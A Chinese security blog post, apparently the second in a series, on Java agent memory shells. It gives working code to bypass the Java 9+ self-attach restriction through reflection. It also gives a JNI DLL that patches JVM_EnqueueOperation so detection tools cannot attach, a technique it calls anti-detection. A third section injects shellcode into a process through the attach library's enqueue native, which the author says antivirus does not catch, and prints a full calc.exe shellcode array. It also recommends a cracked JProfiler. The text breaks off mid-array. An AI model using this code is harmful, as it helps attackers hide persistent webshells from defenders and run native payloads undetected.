Agent内存马(二)

Agent内存马(二)

本文字数:5698  阅读时长:12分钟

访客数:加载中... | 阅读量:加载中...

在上一篇文章的末尾,我们已经了解到 instrument 可以通过其 attach 方法提供的在 JVM 运行时动态查看、修改 Java 类的功能,动态注入内存马。但是在 Java9 及以后的版本中,默认不允许 SelfAttach。

解决 SelfAttach

java
package org.example;

import com.sun.tools.attach.AttachNotSupportedException;
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;

import java.io.IOException;
import java.util.List;

public class get_PID {
    public static void main(String[] args) throws IOException, AttachNotSupportedException {
        List<VirtualMachineDescriptor> list = VirtualMachine.list();
        for(VirtualMachineDescriptor vmd:list){
            if(vmd.displayName().equals("org.example.get_PID")){
                System.out.println(vmd.id());
                VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
            }
        }
    }
}

执行上述代码结果如下,显示无法 attach 到自身进程。

其原因在于系统提供了一个 jdk.attach.allowAttachSelf 的 VM 参数,这个参数默认为 false,且必须在 Java 启动时指定才生效。跟踪到如下代码

java
public abstract class HotSpotVirtualMachine extends VirtualMachine {

  private static final long CURRENT_PID;
  private static final boolean ALLOW_ATTACH_SELF;
  static {
      PrivilegedAction<ProcessHandle> pa = ProcessHandle::current;
      CURRENT_PID = AccessController.doPrivileged(pa).pid();

      String s = VM.getSavedProperty("jdk.attach.allowAttachSelf");
      ALLOW_ATTACH_SELF = "".equals(s) || Boolean.parseBoolean(s);
  }

  HotSpotVirtualMachine(AttachProvider provider, String id)
      throws AttachNotSupportedException, IOException
  {
      super(provider, id);

      int pid;
      try {
          pid = Integer.parseInt(id);
      } catch (NumberFormatException e) {
          throw new AttachNotSupportedException("Invalid process identifier");
      }

      // The tool should be a different VM to the target. This check will
      // eventually be enforced by the target VM.
      if (!ALLOW_ATTACH_SELF && (pid == 0 || pid == CURRENT_PID)) {
          throw new IOException("Can not attach to current VM");
      }
  }

可以看到其在 attach 会调用父类构造函数,而其静态代码会获取 VM 的启动参数保存到 ALLOW_ATTACH_SELF 里面,不过 ALLOW_ATTACH_SELF 是一个静态属性,因此我们可以通过反射进行更改。不过 ALLOW_ATTACH_SELF 字段有 final 修饰符,所以在修改 ALLOW_ATTACH_SELF 值的同时,也需要把它的 final 修饰符给去掉

java
package org.example;

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import com.sun.tools.attach.AttachNotSupportedException;

import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.List;

public class get_PID {
    public static void main(String[] args) throws IOException, AttachNotSupportedException {
        Class<?> cls = null;
        try {
            // 反射获取 HotSpotVirtualMachine 类
            cls = Class.forName("sun.tools.attach.HotSpotVirtualMachine");
            // 获取 ALLOW_ATTACH_SELF 字段
            Field field = cls.getDeclaredField("ALLOW_ATTACH_SELF");
            field.setAccessible(true);
            // 修改字段的修饰符,使其可修改
            Field modifiersField = Field.class.getDeclaredField("modifiers");
            modifiersField.setAccessible(true);
            // 使用按位与操作符去除 final 修饰符
            modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
            // 设置 ALLOW_ATTACH_SELF 为 true
            field.setBoolean(null, true);
        } catch (ClassNotFoundException | NoSuchFieldException | IllegalAccessException e) {
            throw new RuntimeException(e);
        }

        // 列出所有虚拟机描述符
        List<VirtualMachineDescriptor> list = VirtualMachine.list();
        for (VirtualMachineDescriptor vmd : list) {
            // 匹配目标虚拟机的名称
            if (vmd.displayName().equals("org.example.get_PID")) {
                System.out.println("Attaching to current JVM with ID: " + vmd.id());
                // 附加到目标虚拟机
                VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
                // 关闭虚拟机连接
                virtualMachine.detach();
            }
        }
    }
}

上述代码通过反射获取了 ALLOW_ATTACH_SELF 字段和其字段修饰符,并且通过按位与消除了其 final 属性,最后反射修改 ALLOW_ATTACH_SELF 为 true,从而使得后续的 selfattach 得以成功进行。

执行效果:

Agent 内存马防检测

在 rebeyond 师傅的文章中提到该防检测方法是在于应对通过 instrument 机制检测 Agent 型内存马,而该防检测的方法也简单粗暴,就是通过破坏 instrument 机制阻止其 attach。

而 instrument 的工作流程大致为

  1. 发起请求方作为 client,根据 PID 向目标 JVM 发起 attach 请求。
  2. JVM 通过鉴权,尝试是否可 attach 后,打开 IPC 通道。
  3. Client 端封装一个名为 AttachOperation 的 C++ 对象,发送给 Server 端;
  4. Server 端会把 Client 发过来的 AttachOperation 对象放入队列。
  5. Server 端另外一个线程会从队列中取出 AttachOperation 对象并解析,然后执行对应的操作,并把执行结果通过 IPC 通道返回 Client。

在 rebeyond 师傅的文章中他定位的关键代码是在 loadAgentLibrary,但是我在调试时一直跳转不到这个位置,不知道是不是调试的方法或者选择的代码不对。

按照叙述,loadAgentLibrary 方法会在加载代理库时执行,我们直接找到 sun.tools.attach.HotSpotVirtualMachine 下的 loadAgentLibrary 方法。

java
private void loadAgentLibrary(String agentLibrary, boolean isAbsolute, String options)
    throws AgentLoadException, AgentInitializationException, IOException
{
    InputStream in = execute("load",
                                agentLibrary,
                                isAbsolute ? "true" : "false",
                                options);
    try {
        int result = readInt(in);
        if (result != 0) {
            throw new AgentInitializationException("Agent_OnAttach failed", result);
        }
    } finally {
        in.close();

    }
}

可以看到 result 不为 0 就会报错,而 result 的值来自 in,in 的值来自 excute 方法的返回值。跳转查看 excute 方法。

java
InputStream execute(String cmd, Object ... args)
    throws AgentLoadException, IOException
{
    assert args.length <= 3;        // 包括 null

    // 使用随机名称创建管道
    int r = (new Random()).nextInt();
    String pipename = "\\\\.\\pipe\\javatool" + r;
    long hPipe = createPipe(pipename);

    // 检查是否已分离 - 理论上可能在此检查后但在我们将命令加入队列之前调用了 detach。
    if (hProcess == -1) {
        closePipe(hPipe);
        throw new IOException("已从目标虚拟机分离");
    }

    try {
        // 将命令加入进程队列
        enqueue(hProcess, stub, cmd, pipename, args);

        // 等待命令完成 - 进程将连接完成状态
        connectPipe(hPipe);

        // 为管道创建输入流
        PipedInputStream in = new PipedInputStream(hPipe);

        // 读取完成状态
        int status = readInt(in);
        if (status != 0) {
            // 从流中读取并用作错误消息
            String message = readErrorMessage(in);
            in.close();
            // 特殊处理 load 命令以抛出正确的异常
            if (cmd.equals("load")) {
                String msg = "加载代理库失败";
                if (!message.isEmpty())
                    msg += ": " + message;
                throw new AgentLoadException(msg);
            } else {
                if (message.isEmpty())
                    message = "目标虚拟机中的命令失败";
                throw new AttachOperationFailedException(message);
            }
        }

        // 返回输入流
        return in;

    } catch (IOException ioe) {
        closePipe(hPipe);
        throw ioe;
    }
}

这部分代码的主要操作就是在目标虚拟机中执行命令,并通过管道与目标虚拟机通信。而 in 的值就来自于 enqueue 方法执行的结果,跳转查看。

java
static native void enqueue(long hProcess, byte[] stub,
    String cmd, String pipename, Object ... args) throws IOException;

可以发现是一个本地方法,因此我们需要下载源码

目标代码在 src/jdk.attach/windows/native/libattach/VirtualMachineImpl.c 文件里。

这部分代码有点长,所以分开分析,先看参数准备部分

java
JNIEXPORT void JNICALL Java_sun_tools_attach_VirtualMachineImpl_enqueue
  (JNIEnv *env, jclass cls, jlong handle, jbyteArray stub, jstring cmd,
   jstring pipename, jobjectArray args)
{
    DataBlock data;
    DataBlock* pData;
    DWORD* pCode;
    DWORD stubLen;
    HANDLE hProcess, hThread;
    jint argsLen, i;
    jbyte* stubCode;
    jboolean isCopy;

    /*
     * Setup data to copy to target process
     */
    memset(&data, 0, sizeof(data));
    data._GetModuleHandle = _GetModuleHandle;
    data._GetProcAddress = _GetProcAddress;
    // 关键参数赋值
    strcpy(data.jvmLib, "jvm");
    strcpy(data.func1, "JVM_EnqueueOperation");
    strcpy(data.func2, "_JVM_EnqueueOperation@20");

    /*
     * Command and arguments
     */
    jstring_to_cstring(env, cmd, data.cmd, MAX_CMD_LENGTH);//java 字符串转化为 c 字符串
    argsLen = (*env)->GetArrayLength(env, args);
    /* 将对象数组转化为 C 字符串 */
    if (argsLen > 0) {
        if (argsLen > MAX_ARGS) {
            JNU_ThrowInternalError(env, "Too many arguments");
            return;
        }
        for (i=0; i<argsLen; i++) {
            jobject obj = (*env)->GetObjectArrayElement(env, args, i);
            if (obj == NULL) {
                data.arg[i][0] = '\0';
            } else {
                jstring_to_cstring(env, obj, data.arg[i], MAX_ARG_LENGTH);
            }
            if ((*env)->ExceptionOccurred(env)) return;
        }
    }
    for (i = argsLen; i < MAX_ARGS; i++) {
        data.arg[i][0] = '\0';
    }

    /* pipe name */
    jstring_to_cstring(env, pipename, data.pipename, MAX_PIPE_NAME_LENGTH);

    /*
     * Allocate memory in target process for data and code stub
     * (assumed aligned and matches architecture of target process)
     */
    hProcess = (HANDLE)handle;// 获取句柄
    /* 分配空间准备写入 data*/
    pData = (DataBlock*) VirtualAllocEx( hProcess, 0, sizeof(DataBlock), MEM_COMMIT, PAGE_READWRITE );
    if (pData == NULL) {// 分配失败
        JNU_ThrowIOExceptionWithLastError(env, "VirtualAllocEx failed");
        return;
    }
    /* 向空间内写入 data */    
    WriteProcessMemory( hProcess, (LPVOID)pData, (LPCVOID)&data, (SIZE_T)sizeof(DataBlock), NULL );

    stubLen = (DWORD)(*env)->GetArrayLength(env, stub);// 通过 GetByteArrayElements 获取字节数组长度。
    stubCode = (*env)->GetByteArrayElements(env, stub, &isCopy);// 通过 GetByteArrayElements 获取字节数组元素。

    if ((*env)->ExceptionOccurred(env)) return;
    /* 分配空间准备写入执行代码 */
    pCode = (PDWORD) VirtualAllocEx( hProcess, 0, stubLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
    if (pCode == NULL) {
        JNU_ThrowIOExceptionWithLastError(env, "VirtualAllocEx failed");
        VirtualFreeEx(hProcess, pData, 0, MEM_RELEASE);
        (*env)->ReleaseByteArrayElements(env, stub, stubCode, JNI_ABORT);
        return;
    }
    /* 向分配空间内写入执行代码 */
    WriteProcessMemory( hProcess, (LPVOID)pCode, (LPCVOID)stubCode, (SIZE_T)stubLen, NULL );
    (*env)->ReleaseByteArrayElements(env, stub, stubCode, JNI_ABORT);// 释放之前通过 GetByteArrayElements 获取的字节数组元素

上述代码大致意思是将传入参数 handle 转为句柄类型赋给了 hProcess,然后对 data 的各个参数进行字符串转化,赋值,并且将其写入 pData 指向的所分配出的空间。其后获取了 stub 数组指向指针,通过 WriteProcessMemory 将 stub 数组内存储的代码写入 pCode 指向的所分配出的空间。

java
/*
     * Create thread in target process to execute code
     */
    hThread = CreateRemoteThread( hProcess,
                                  NULL,
                                  0,
                                  (LPTHREAD_START_ROUTINE) pCode,
                                  pData,
                                  0,
                                  NULL );
    if (hThread != NULL) {
        if (WaitForSingleObject(hThread, INFINITE) != WAIT_OBJECT_0) {
            JNU_ThrowIOExceptionWithLastError(env, "WaitForSingleObject failed");
        } else {
            DWORD exitCode;
            GetExitCodeThread(hThread, &exitCode);
            if (exitCode) {
                switch (exitCode) {
                    case ERR_OPEN_JVM_FAIL :
                        JNU_ThrowIOException(env,
                            "jvm.dll not loaded by target process");
                        break;
                    case ERR_GET_ENQUEUE_FUNC_FAIL :
                        JNU_ThrowIOException(env,
                            "Unable to enqueue operation: the target VM does not support attach mechanism");
                        break;
                    default : {
                        char errmsg[128];
                        snprintf(errmsg, sizeof(errmsg), "Remote thread failed for unknown reason (%d)", exitCode);
                        JNU_ThrowInternalError(env, errmsg);
                    }
                }
            }
        }
        CloseHandle(hThread);
    } else {
        if (GetLastError() == ERROR_NOT_ENOUGH_MEMORY) {
            //
            // This error will occur when attaching to a process belonging to
            // another terminal session. See "Remarks":
            // http://msdn.microsoft.com/en-us/library/ms682437%28VS.85%29.aspx
            //
            JNU_ThrowIOException(env,
                "Insufficient memory or insufficient privileges to attach");
        } else {
            JNU_ThrowIOExceptionWithLastError(env, "CreateRemoteThread failed");
        }
    }

    VirtualFreeEx(hProcess, pCode, 0, MEM_RELEASE);
    VirtualFreeEx(hProcess, pData, 0, MEM_RELEASE);
}

这部分代码中最关键部分在于 CreateRemoteThread,其新建了一个线程执行命令。

java
hThread = CreateRemoteThread( hProcess,
                                NULL,
                                0,
                                (LPTHREAD_START_ROUTINE) pCode,
                                pData,
                                0,
                                NULL );

函数原型:
HANDLE CreateRemoteThread(  
  HANDLE hProcess,  
  LPSECURITY_ATTRIBUTES lpThreadAttributes,  
  SIZE_T dwStackSize,  
  LPTHREAD_START_ROUTINE lpStartAddress,  
  LPVOID lpParameter,  
  DWORD dwCreationFlags,  
  LPDWORD lpThreadId  
);  
参数详解:
hProcess:目标进程的句柄必须具有 PROCESS_CREATE_THREAD 权限
lpThreadAttributes:指向一个 SECURITY_ATTRIBUTES 结构的指针该结构可以用来指定线程的安全性如果为 NULL则该线程的句柄不能被继承
dwStackSize:指定线程的初始堆栈大小如果为 0则使用目标进程的默认堆栈大小
lpStartAddress:指向线程要执行的函数的地址这个函数必须在目标进程的地址空间内
lpParameter:传递给线程的参数可以是任何类型的指针通常用于传递函数的输入
dwCreationFlags:线程创建标志通常设置为 0表示线程立即开始运行也可使用 CREATE_SUSPENDED 标志使线程创建后处于挂起状态
lpThreadId:指向接收线程 ID 的变量的指针如果不需要线程 ID可以传递 NULL

CreateRemoteThread 的各个参数都在刚刚前半部分完成了准备。

而在执行 CreateRemoteThread 时,还会执行 jvm_attach_thread_func 函数,因为 jvm_attach_thread_func 函数会在目标进程创建远程线程时执行。

java
DWORD WINAPI jvm_attach_thread_func(DataBlock *pData)
{
    HINSTANCE h;
    EnqueueOperationFunc addr;
    // 获取 jvm 的句柄
    h = pData->_GetModuleHandle(pData->jvmLib);
    if (h == NULL) {
        return ERR_OPEN_JVM_FAIL;
    }
    // 通过 jvm 的句柄获取 JVM_EnqueueOperation 方法的地址
    addr = (EnqueueOperationFunc)(pData->_GetProcAddress(h, pData->func1));
    if (addr == NULL) {// 如果获取失败,则获取_JVM_EnqueueOperation@20 方法的地址
        addr = (EnqueueOperationFunc)(pData->_GetProcAddress(h, pData->func2));
    }
    if (addr == NULL) {
        return ERR_GET_ENQUEUE_FUNC_FAIL;
    }

    /* "null" command - does nothing in the target VM */
    if (pData->cmd[0] == '\0') {
        return 0;
    } else {
        // 执行刚刚获取的方法
        return (*addr)(pData->cmd, pData->arg[0], pData->arg[1], pData->arg[2], pData->pipename);
    }
}

这里调用了 pData 的各个参数,而这些参数的来源正是之前的赋值准备阶段。

java
strcpy(data.jvmLib, "jvm");
strcpy(data.func1, "JVM_EnqueueOperation");
strcpy(data.func2, "_JVM_EnqueueOperation@20");

那继续来看 jvm_attach_thread_func 干了什么,如果你写过 shellcode,或者看过我之前这篇关于调用 JNI_GetCreatedJavaVMs 的 shellcode 浅析,那么这部分代码应该很清晰易懂。

其大致就是通过获取 jvm 的句柄从而进一步获取 JVM_EnqueueOperation 或者_JVM_EnqueueOperation@20 方法的地址,最后调用执行该方法。而这两个函数就是上文流程图中将 AttachOperation 对象放入队列的执行函数。

而 rebeyond 师傅给出的阻止 attach 方法就是通过使 JVM_EnqueueOperation 不执行从而阻断正常的 attach。

Agent 内存马防检测 – 修改 JVM_EnqueueOperation 复现

这个复现对不怎么熟悉 JNI 的我来说有点小晕,一开始也没怎么看明白,所以就把复现过程也给写出来了。

首先我们新建一个 ModifyJvmMemory.java 文件,然后打开终端在命令行里执行

java
/* 执行后生成 ModifyJvmMemory.class */
javac ModifyJvmMemory.java

/* 执行后生成 ModifyJvmMemory.h */
javac -h . ModifyJvmMemory.java

注意终端要和 java 文件在同一文件夹下,然后再新建一个 cpp 文件,譬如取名叫 MP.cpp ,打开写入如下代码。

C++
#include <windows.h>
#include "jni.h"
#include<stdio.h>
#include "ModifyJvmMemory.h"

JNIEXPORT jboolean JNICALL Java_ModifyJvmMemory_modifyJvmFunction(JNIEnv *env, jobject obj) {
    unsigned char buf[] = "\xc3"; // 64, direct return enqueue function
    HINSTANCE hModule = LoadLibraryA("jvm.dll");
    if (hModule == NULL) {
        printf("Failed to load jvm.dll\n");
        return JNI_FALSE;
    }

    FARPROC procAddress = GetProcAddress(hModule, "JVM_EnqueueOperation");  
	LPVOID dst = reinterpret_cast<LPVOID>(procAddress);
    if (dst == NULL) {
        printf("Failed to get address of JVM_EnqueueOperation\n");
        FreeLibrary(hModule);
        return JNI_FALSE;
    }

    DWORD old;
    if (VirtualProtectEx(GetCurrentProcess(), dst, 1, PAGE_EXECUTE_READWRITE, &old)) {
        WriteProcessMemory(GetCurrentProcess(), dst, buf, 1, NULL);
        VirtualProtectEx(GetCurrentProcess(), dst, 1, old, &old);
    } else {
        printf("Failed to change memory protection\n");
        FreeLibrary(hModule);
        return JNI_FALSE;
    }

    FreeLibrary(hModule);
    return JNI_TRUE;
}

然后再终端执行如下代码生成 ModifyJvmMemory.dll 文件

java
gcc -shared -o ModifyJvmMemory.dll -I"%JAVA_HOME%\include" -I"%JAVA_HOME%\include\win32" MP.cpp

完成上述操作后,你的文件夹里面应该有 5 个文件

然后用 IDEA 打开 ModifyJvmMemory.java ,点击运行可以发现可以成功执行。

然后我们修改代码如下 (注释执行 dll 的代码,并且写一个死循环)

java
import static java.lang.Thread.sleep;

public class ModifyJvmMemory {
    private native boolean modifyJvmFunction();

    static {
        System.loadLibrary("ModifyJvmMemory");
    }

    public static void main(String[] args) throws InterruptedException {
        /*ModifyJvmMemory modifier = new ModifyJvmMemory();
        if (modifier.modifyJvmFunction()) {
            System.out.println("Memory modification successful");
        } else {
            System.out.println("Memory modification failed");
        }*/
        
        while(true){
            System.out.println("Hello World");
            sleep(5000);
        }
    }
}

点击运行并且打开 JProfile,没有的话可以去网上找破解版资源 (好像破解最高到 11.1.4)

选择附加到正在运行的 JVM(Attach to a running JVM),然后选择 ModifyJvmMemory,点击 start,选择推荐配置。

可以看到可以正常附加到进程上进行监控。

现在我们取消注释,代码如下:

java
import static java.lang.Thread.sleep;

public class ModifyJvmMemory {
    private native boolean modifyJvmFunction();

    static {
        System.loadLibrary("ModifyJvmMemory");
    }

    public static void main(String[] args) throws InterruptedException {
        ModifyJvmMemory modifier = new ModifyJvmMemory();
        if (modifier.modifyJvmFunction()) {
            System.out.println("Memory modification successful");
        } else {
            System.out.println("Memory modification failed");
        }

        while(true){
            System.out.println("Hello World");
            sleep(5000);
        }
    }
}

再次执行代码,可以发现控制台已经打印了成功修改内存了。

再次尝试上述步骤进行 attach,发现报错,无法附加进程,说明成功修改内存实现了破坏 attach。

Java 原生远程进程注入

当谈论到进程注入,我们最先想到的就是 CreateRemoteThread,但是如果是直接调用自然会被杀软直接杀掉。

但是我们可以使用原生的代码进行进程注入。

通过我们之前的分析可以发现在 Java_sun_tools_attach_VirtualMachineImpl_enqueue 函数里面存在 CreateRemoteThread 函数

java
hThread = CreateRemoteThread( hProcess,
                                  NULL,
                                  0,
                                  (LPTHREAD_START_ROUTINE) pCode,
                                  pData,
                                  0,
                                  NULL );

而其中 pCode 指向的地址写入的数据正是 stub 数组的数据,而 stub 数组是我们传入的参数,属于可控参数,那如果我们把传入的 stub 数组变成承载 shellcode 的数组不就可以实现进程注入了吗。

java
package org.example;

import java.lang.reflect.Method;

public class ThreadMain   {
    public static void main(String[] args) throws Exception {
        System.loadLibrary("attach");// 加载 attach
        Class cls=Class.forName("sun.tools.attach.WindowsVirtualMachine");// 获取 WindowsVirtualMachine 类
        for (Method m:cls.getDeclaredMethods())
        {
            if (m.getName().equals("enqueue"))// 获取 WindowsVirtualMachine 类下的 enqueue 方法
            {
                long hProcess=-1;//-1 可以附加到自身
                byte buf= new byte[]   //pop calc.exe
                {
                (byte) 0xfc, (byte) 0x48, (byte) 0x83, (byte) 0xe4, (byte) 0xf0, (byte) 0xe8, (byte) 0xc0, (byte) 0x00,
                (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0x51, (byte) 0x41, (byte) 0x50, (byte) 0x52, (byte) 0x51,
                (byte) 0x56, (byte) 0x48, (byte) 0x31, (byte) 0xd2, (byte) 0x65, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
                (byte) 0x60, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x18, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
                (byte) 0x20, (byte) 0x48, (byte) 0x8b, (byte) 0x72, (byte) 0x50, (byte) 0x48, (byte) 0x0f, (byte) 0xb7,
                (byte) 0x4a, (byte) 0x4a, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
                (byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0x41,
                (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0xe2, (byte) 0xed,
                (byte) 0x52, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x8b,
                (byte) 0x42, (byte) 0x3c, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x8b, (byte) 0x80, (byte) 0x88,
                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x85, (byte) 0xc0, (byte) 0x74, (byte) 0x67,
                (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x50, (byte) 0x8b, (byte) 0x48, (byte) 0x18, (byte) 0x44,
                (byte) 0x8b, (byte) 0x40, (byte) 0x20, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0xe3, (byte) 0x56,
                (byte) 0x48, (byte) 0xff, (byte) 0xc9, (byte) 0x41, (byte) 0x8b, (byte) 0x34, (byte) 0x88, (byte) 0x48,
                (byte) 0x01, (byte) 0xd6, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
                (byte) 0xac, (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1,
                (byte) 0x38, (byte) 0xe0, (byte) 0x75, (byte) 0xf1, (byte) 0x4c, (byte) 0x03, (byte) 0x4c, (byte) 0x24,
                (byte) 0x08, (byte) 0x45, (byte) 0x39, (byte) 0xd1, (byte) 0x75, (byte) 0xd8, (byte) 0x58, (byte) 0x44,
                (byte) 0x8b, (byte) 0x40, (byte) 0x24, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x66, (byte) 0x41,
                (byte) 0x8b, (byte) 0x0c, (byte) 0x48, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x1c, (byte) 0x49,
                (byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x8b, (byte) 0x04, (byte) 0x88, (byte) 0x48, (byte) 0x01,
                (byte) 0xd0, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x58, (byte) 0x5e, (byte) 0x59, (byte) 0x5a,
                (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x41, (byte) 0x5a, (byte) 0x48, (byte) 0x83,
                (byte) 0xec, (byte) 0x20, (byte) 0x41, (byte) 0x52, (byte) 0xff, (byte) 0xe0, (byte) 0x58, (byte) 0x41,
                (byte) 0x59, (byte) 0x5a, (byte) 0x48, (byte) 0x8b, (byte) 0x12, (byte) 0xe9, (byte) 0x57, (byte) 0xff,
                (byte) 0xff, (byte) 0xff, (byte) 0x5d, (byte) 0x48, (byte) 0xba, (byte) 0x01, (byte) 0x00, (byte) 0x00,
                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x8d, (byte) 0x8d,
                (byte) 0x01, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0xba, (byte) 0x31, (byte) 0x8b,
                (byte) 0x6f, (byte) 0x87, (byte) 0xff, (byte) 0xd5, (byte) 0xbb, (byte) 0xf0, (byte) 0xb5, (byte) 0xa2,
                (byte) 0x56, (byte) 0x41, (byte) 0xba, (byte) 0xa6, (byte) 0x95, (byte) 0xbd, (byte) 0x9d, (byte) 0xff,
                (byte) 0xd5, (byte) 0x48, (byte) 0x83, (byte) 0xc4, (byte) 0x28, (byte) 0x3c, (byte) 0x06, (byte) 0x7c,
                (byte) 0x0a, (byte) 0x80, (byte) 0xfb, (byte) 0xe0, (byte) 0x75, (byte) 0x05, (byte) 0xbb, (byte) 0x47,
                (byte) 0x13, (byte) 0x72, (byte) 0x6f, (byte) 0x6a, (byte) 0x00, (byte) 0x59, (byte) 0x41, (byte) 0x89,
                (byte) 0xda, (byte) 0xff, (byte) 0xd5, (byte) 0x63, (byte) 0x61, (byte) 0x6c, (byte) 0x63, (byte) 0x2e,
                (byte) 0x65, (byte) 0x78, (byte) 0x65, (byte) 0x00
                };

                String cmd="load";String pipeName="test";
                m.setAccessible(true);
                Object result=m.invoke(cls,new Object[]{hProcess,buf,cmd,pipeName,new Object[]{}});
                System.out.println("result:"+result);
            }

        }
        Thread.sleep(4000);
    }
}

执行上述代码成功弹出计算器,并且没有被杀掉。而在上述代码中特意设置了 PID 为 - 1,因为当注入进程的 PID 设置为 - 1 的时候,就可以往当前 Java 进程注入任意 Native 代码,以实现不用 JNI 执行任意 Native 代码的效果。

具体 shellcode 分析可以看关于弹计算器的 shellcode 学习这篇文章。

解决 agent 内存马调用系统 Native 库函数

因为上述代码要调用 enqueue 函数,而其 native 方法在 attach.dll 文件里,这是 JDK 和 Server-JRE 默认自带的。但是 sun.tools.attach.VirtualMachineImpl 类所在的 tools.jar 包并不是每一个环境一定有的,因此需要解决其调用系统 Native 库函数但是缺失 jar 包的难点。

rebeyond 师傅给出了通过 defineClass 去我们自定义的数组内读取创建 class,然后再调用我们想调用的 Native 函数。这样可以解决使用 classLoader 加载类时,如果目标系统内已经有该类会导致我们写的类加载失败报错。

而这个方法之所以可行的原因在于 Native 函数在调用的时候只检测发起调用的类限定名,并不检测发起调用类的 ClassLoader。因此我们只需要重写 sun.tools.attach.VirtualMachineImpl 类即可。

java
package sun.tools.attach;

import java.io.IOException;

public class WindowsVirtualMachine {
    public WindowsVirtualMachine() {
    }

    static native void enqueue(long var0, byte[] var2, String var3, String var4, Object... var5) throws IOException;

    static native long openProcess(int var0) throws IOException;

    public static void run(byte[] buf) {
        System.loadLibrary("attach");
        buf= new byte[]   //pop calc.exe
            {
                (byte) 0xfc, (byte) 0x48, (byte) 0x83, (byte) 0xe4, (byte) 0xf0, (byte) 0xe8, (byte) 0xc0, (byte) 0x00,
                (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0x51, (byte) 0x41, (byte) 0x50, (byte) 0x52, (byte) 0x51,
                (byte) 0x56, (byte) 0x48, (byte) 0x31, (byte) 0xd2, (byte) 0x65, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
                (byte) 0x60, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x18, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
                (byte) 0x20, (byte) 0x48, (byte) 0x8b, (byte) 0x72, (byte) 0x50, (byte) 0x48, (byte) 0x0f, (byte) 0xb7,
                (byte) 0x4a, (byte) 0x4a, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
                (byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0x41,
                (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0xe2, (byte) 0xed,
                (byte) 0x52, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x8b,
                (byte) 0x42, (byte) 0x3c, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x8b, (byte) 0x80, (byte) 0x88,
                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x85, (byte) 0xc0, (byte) 0x74, (byte) 0x67,
                (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x50, (byte) 0x8b, (byte) 0x48, (byte) 0x18, (byte) 0x44,
                (byte) 0x8b, (byte) 0x40, (byte) 0x20, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0xe3, (byte) 0x56,
                (byte) 0x48, (byte) 0xff, (byte) 0xc9, (byte) 0x41, (byte) 0x8b, (byte) 0x34, (byte) 0x88, (byte) 0x48,
                (byte) 0x01, (byte) 0xd6, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
                (byte) 0xac, (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1,
                (byte) 0x38, (byte) 0xe0, (byte) 0x75, (byte) 0xf1, (byte) 0x4c, (byte) 0x03, (byte) 0x4c, (byte) 0x24,
                (byte) 0x08, (byte) 0x45, (byte) 0x39, (byte) 0xd1, (byte) 0x75, (byte) 0xd8, (byte) 0x58, (byte) 0x44,
                (byte) 0x8b, (byte) 0x40, (byte) 0x24, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x66, (byte) 0x41,
                (byte) 0x8b, (byte) 0x0c, (byte) 0x48, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x1c, (byte) 0x49,
                (byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x8b, (byte) 0x04, (byte) 0x88, (byte) 0x48, (byte) 0x01,
                (byte) 0xd0, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x58, (byte) 0x5e, (byte) 0x59, (byte) 0x5a,
